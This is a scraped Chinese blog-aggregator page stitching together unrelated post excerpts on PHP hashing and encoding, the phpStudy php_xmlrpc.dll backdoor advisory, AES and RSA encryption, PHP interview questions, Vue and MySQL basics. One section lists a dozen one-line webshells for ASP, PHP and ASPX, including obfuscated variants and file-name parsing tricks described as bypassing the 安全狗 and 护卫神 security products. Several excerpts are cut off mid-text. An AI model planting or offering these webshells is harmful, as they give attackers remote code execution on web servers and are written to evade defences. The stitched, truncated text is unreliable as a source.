php加密

php 加密

♀尐吖头ヾ 提交于 2019-11-30 11:01:31
PHP 自带的加密解密函数 目前经常使用的加密函数有:md5(), sha1(), crypt(), base64_encode(), urlencode() 。 其中 md5(), sha1(), crypt() 是不可逆的加密方式。 base64_encode() ,urlencode() 是可逆的加密方式。 分别对应的解密函数为:base64_decode(), urldecode()。 PHP 加密扩展 openssl hash 来源: https://www.cnblogs.com/xuey/p/11580539.html

phpStudy隐藏后门预警

ε祈祈猫儿з 提交于 2019-11-30 07:09:46
1、事件背景 近日,使用广泛的PHP环境集成程序包phpStudy被 公告疑似遭遇供应链攻击,程序包自带PHP的php_xmlrpc.dll模块隐藏有后门,安恒应急响应中心和研究院随即对国内 下载站点提供 下载的phpStudy安装包进行分析,确认phpStudy2016、phpStudy2018的部分版本有后门, 建议使用该版本的用户立即进行安全加固处理。 2、后门分析 通过分析,后门代码存在于\ext\php_xmlrpc.dll模块中,至少有2个版本: phpStudy2016和phpStudy2018自带的php-5.2.17、php-5.4.45 phpStudy20161103 php\php-5.2.17\ext\php_xmlrpc.dll php\php-5.4.45\ext\php_xmlrpc.dll phpStudy20180211 PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll 分析过程: 对比官网的xmlrpc源代码可以知道,默认xmplrpc模块的几个初始化函数都是被设置为: 而污染过的版本中“request_startup_func”函数被恶意攻击者自定义: 用户所有的请求都会经过自定义的函数“sub

PHP、asp、aspx、JSP一句话

百般思念 提交于 2019-11-30 03:53:19
1、asp一句话木马: <%eval request(“x”)%> 2、php一句话木马: <?php eval($_POST[g]);?> 3、aspx一句话: <%@ Page Language=”Jscript”%><%eval(Request.Item["x"],”unsafe”);%> 4、数据库加密一句话(密码a): ┼攠数畣整爠焕敌瑳∨≡┩忾 5、网站配置、版权信息专用一句话: ”%><%Eval Request(x)%> 6、一句话再过护卫神: <%Y=request(“x”)%> <%execute(Y)%> 7、过拦截一句话木马: <% eXEcGlOBaL ReQuEsT(“x”) %> 8、asp闭合型一句话: %><%eval request(“0o1Znz1ow”)%><% 9、能过安全狗的解析格式: ;hfdjf.;dfd.;dfdfdfd.asp;sdsd.jpg 10、突破安全狗的一句话: <%Y=request(“x”)%> <%eval(Y)%> 11、elong过安全狗的php一句话: <?php $a = “a”.”s”.”s”.”e”.”r”.”t”; $a($_POST[cc]); ?> 12、突破护卫神,保护盾一句话: <?php $a = str_replace(x,”",”axsxxsxexrxxt”); $a($_POST[

[PHP] AES-ECB-128 + pkcs5加密

大憨熊 提交于 2019-11-29 23:41:22
AES-ECB-128 pkcs5填充加解密 class AesEncryptService { /** * @desc AES-128-ECB加密 * @param $str * @param $encryptKey * @return string */ public static function AesEncrypt($str, $encryptKey) { if (version_compare(PHP_VERSION, '7.1.0', '<')) { $size = mcrypt_get_block_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_ECB); $input = self::addPKCS5Padding($str, $size); $td = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_ECB, ''); $iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_RAND); mcrypt_generic_init($td, $encryptKey, $iv); $data = mcrypt_generic($td, $input); mcrypt_generic_deinit($td);

PHP 加密解密函数

纵然是瞬间 提交于 2019-11-29 21:52:29
$str = '需要要加密的字符串'; 不可逆 md5:函数计算字符串的 MD5 散列 语法:md5(string,raw) string:必需。规定要计算的字符串 raw:可选,规定十六进制或二进制输出格式,默认是32 字符十六进制数 示例:echo md5($str);//e22c0235385fb885bdca3c473eee10d5 sha1:函数计算字符串的 SHA-1 散列。 语法:sha1(string,raw) string:必需。规定要计算的字符串 raw:可选,规定十六进制或二进制输出格式,默认40 字符十六进制数 示例:echo sha1($str);//c062b55d5e4fae106ccc51ff2581e38f3c38c71a crypt:返回使用 DES、Blowfish 或 MD5 算法加密的字符串 语法:crypt(string,salt) string:必需。规定要计算的字符串 salt:可选。用于增加被编码字符数目的字符串,以使编码更加安全。如果未提供 salt 参数,则每次调用该函数时会随机生成一个。 示例:echo crypt($str,'14');//14GE8mc1rx6aw ​​​​​​​可逆 加密:echo base64_encode($str);//6ZyA6KaB6KaB5Yqg5a+G55qE5a2X56ym5Liy 解密

php文件加密解密

懵懂的女人 提交于 2019-11-29 19:06:26
利用base64加解密 base64_encode是加密,而base64_decode是解密 语法:string base64_encode(string data); 语法:string base64_decode(string data); 加密案例如下: public function encode_file_contents($filename) { $type=strtolower(substr(strrchr($filename,'.'),1)); if ('php' == $type && is_file($filename) && is_writable($filename)) { // 如果是PHP文件 并且可写 则进行压缩编码 $contents = file_get_contents($filename); // 判断文件是否已经被编码处 理 $contents = php_strip_whitespace($filename); // 去除PHP头部和尾部标识 $headerPos = strpos($contents,'<?php'); // echo $headerPos.'<br>'; //echo $footerPos;//,$footerPos-$headerPos $contents = substr($contents,$headerPos+5

PHP的学习--RSA加密解密

馋奶兔 提交于 2019-11-29 18:14:13
PHP服务端与客户端交互或者提供开放API时,通常需要对敏感的数据进行加密,这时候rsa非对称加密就能派上用处了。 举个通俗易懂的例子,假设我们再登录一个网站,发送账号和密码,请求被拦截了。 密码没加密,那攻击者就直接拿到了密码,这是最搓的。 密码加密了,是不可逆加密,那攻击者只需要模拟那个请求即可登录。 密码加密了,是可逆加密,其中携带有时间等参数,后台可以根据时间等参数来判断是否有效,但因为是在前端加密,其加密方式也能在代码中找到,找到加密方式就可以得出解密方式。 但是如果我们使用非对称加密就可以避免以上问题。 非对称加密算法需要两个密钥来进行加密和解密,这两个秘钥是公开密钥(public key,简称公钥)和私有密钥(private key,简称私钥)。 工作过程如下,甲乙之间使用非对称加密的方式完成了重要信息的安全传输。 乙方生成一对密钥(公钥和私钥)并将公钥向其它方公开。 得到该公钥的甲方使用该密钥对机密信息进行加密后再发送给乙方。 乙方再用自己保存的另一把专用密钥(私钥)对加密后的信息进行解密。乙方只能用其专用密钥(私钥)解密由对应的公钥加密后的信息。 在传输过程中,即使攻击者截获了传输的密文,并得到了乙的公钥,也无法破解密文,因为只有乙的私钥才能解密密文。 同样,如果乙要回复加密信息给甲,那么需要甲先公布甲的公钥给乙用于加密,甲自己保存甲的私钥用于解密。

php js 的rsa加密

三世轮回 提交于 2019-11-29 18:13:49
js使用公钥对信息进行加密传输,php使用私钥解密获取信息 js rsa相关信息: js使用16进制公钥进行加密,生成16进制加密数据,hex_string http://www-cs-students.stanford.edu/~tjw/jsbn/ 注意:js需要先对数据做url编码处理,如 encodeURIComponent(text) 再将数据传输给php php rsa相关信息(需要openssl扩展): php解密前需要转换成2进制数据 pack("H*", $hex_string) http://cn.php.net/manual/zh/book.openssl.php http://cn.php.net/manual/zh/function.openssl-private-decrypt.php 密钥生成 生成私钥 openssl genrsa -out key.pem 1024 DES3方式加密私钥 openssl rsa -in key.pem -des3 -out prikey.des3.pem 生成公钥 openssl rsa -in key.pem -pubout -out pubkey.pem 生成16进制密钥 openssl asn1parse -i -inform PEM < key.pem 0:d=0 hl=4 l= 604 cons:

PHP最新面试题2019

久未见 提交于 2019-11-29 13:24:45
1、字符串"0"在PHP和js中转换为布尔值是false还是true php:false; php 弱语言 '0'和0一样; js:true;字符串除了空字符串('')其他都是true(包括' '这种中间有空格的); 2、echo, print, print_r, var_dump 区别 echo 语言结构,并不是真正的函数,可以一次输出多个值,多个值之间用逗号分隔。 print 是函数,只能输出一个值。 print_r 能打印数组,对象。 var_dump 能打印数组,对象,并且带数据类型。 3、程序 $a = "www"; settype($a, 'array'); (string)$a; floatval($a); echo gettype($a); 运行后输出结果: array 原因: settype会改变原值的数据类型,string,floatval属于强制转换,不改变原值的数据类型。 4、用PHP实现冒泡排序算法。 // 控制轮次数 for ($i = 1; $i < count($arr); $i++) { //控制次数,并判断大小交换位置 for ($j = 0; $j < count($arr) - $i; $j++) { //如果当前值大于后面的值 if ($arr[$j] > $arr[$j + 1]) { // 交换 $temp = $arr[$j];

vue的基本使用

落爺英雄遲暮 提交于 2019-11-29 08:53:41
MVVM 实现MVVM设计思想的框架,基本上都完成对DOM功能的极限封装,开发者几乎不用操作js-dom就可以完成页面的数据的关联交换。 Vue的简介 vue是一套用于构建用户界面的渐进式框架 vue的核心库只关注视图层,不仅容易上手,还便于与第三方库或既有项目整合 Vue借鉴React和Angular的部分代码设计,并提高了易用性和轻量化 Vue的页面基本使用 获取vue的核心语法库 通过地址下载vue核心语法包 https://cdn.jsdelivr.net/npm/vue/dist/vue.js 使用npm进行vue语法库的下载 页面在vue库 <script src="../js/vue.js"></script> 页面装载vue核心语法后,会在浏览器window对象中提供一个全局的构造方法vue vue函数为一个js的对象构造器,使用时需要通过new关键字进行vue对象创建 npm init --yes npm install vue <script> var vm = new Vue(); console.log(vm); </script> 全局配置 在vue项目运行启动前,对vue的运行环境进行相关功能设置 开启关闭调式工具 mysql概念 数据库概述 数据库的概念 mysql数据库简介 mysql安装与配置 安装准备 windows下mysql的安装与配置